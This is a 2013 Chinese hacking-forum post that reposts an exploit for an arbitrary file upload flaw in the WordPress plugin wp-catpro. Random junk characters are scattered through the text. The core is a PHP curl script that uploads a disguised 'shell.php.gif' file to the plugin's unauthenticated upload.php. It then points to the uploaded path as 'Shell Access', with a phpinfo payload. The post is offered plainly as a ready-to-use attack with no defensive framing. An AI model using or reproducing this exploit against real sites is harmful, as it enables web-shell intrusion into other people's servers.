找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
0 U- ?. a8 f+ L) \5 C- A' E: j% v1 O#-----------------------------------------------------------------------9 ]9 G2 v/ I+ {3 w, m2 z! u
6 v1 w, n) N' e' ?- _/ b% |. h* F
作者  => Zikou-169 d6 X% I- p7 h1 i# ^
邮箱 => zikou16x@gmail.com
, n% |) g$ _0 L8 `' a" z( ^, M测试系统 : Windows 7 , Backtrack 5r3
( Z4 Y& S4 H& z8 _; Q下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip( ], e5 ]$ |( H* h. H9 m; @
####6 C# i3 C. J8 p7 G# {6 R: f* m. n- H
, ?* i% r- m0 e- j2 ]
#=> Exploit 信息:
7 B+ a( y$ q8 V6 j6 P6 `* e------------------
; I7 j" f% q# C" a4 w* f# 攻击者可以上传 file/shell.php.gif7 F1 ]: c3 Z- L& x, t/ S: X
# ("jpg", "gif", "png")  // Allowed file extensions: X- ]( I  L2 \7 v# Y: O% H* R9 J
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
9 ]* B9 ~" g- ]# t% `4 F# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
) P6 O/ X5 J' A" m, d6 v4 d+ b------------------6 E  x7 ^) W' M3 k* j# o1 ]7 Y

( A& ^4 _$ j8 z2 n' C#=> Exploit3 c' }+ x- [: ^1 y# K
-----------
2 P3 Y" m1 J: y4 z0 j" _<?php
9 ~% E6 X" @: y3 a  G* b3 \: o5 z
- z. u  F3 G. A6 O3 B$uploadfile="zik.php.gif";
4 s7 k# Y" x$ u/ U9 q: e$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");# k5 V1 z9 u# s" }1 \0 s
curl_setopt($ch, CURLOPT_POST, true);
9 G  Z2 z* U' j& wcurl_setopt($ch, CURLOPT_POSTFIELDS,
* s# D9 b8 Z9 ~0 @( D% Qarray('Filedata'=>"@$uploadfile",
( F1 v) a3 L0 p'folder'=>'/wp-content/uploads/catpro/'));
4 D+ c) z+ e; Q' ucurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);: Q6 D' P2 ^5 T, d' [! q
$postResult = curl_exec($ch);
# _/ P' |0 Q; K  B; o6 Zcurl_close($ch);
  \; J1 A8 e# e) \
0 s. f( P. y" B* Q3 w. [7 hprint "$postResult";
! _* l  R" @$ J0 j+ ?; T* H* ~
) A/ S, ~  f# pShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
0 N  U9 a! y% L+ |) \: M  ?>" |: E3 k5 x4 ]
<?php6 H$ z) E3 N- r4 T' D: J
phpinfo();+ n! P- M9 N9 n: H
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表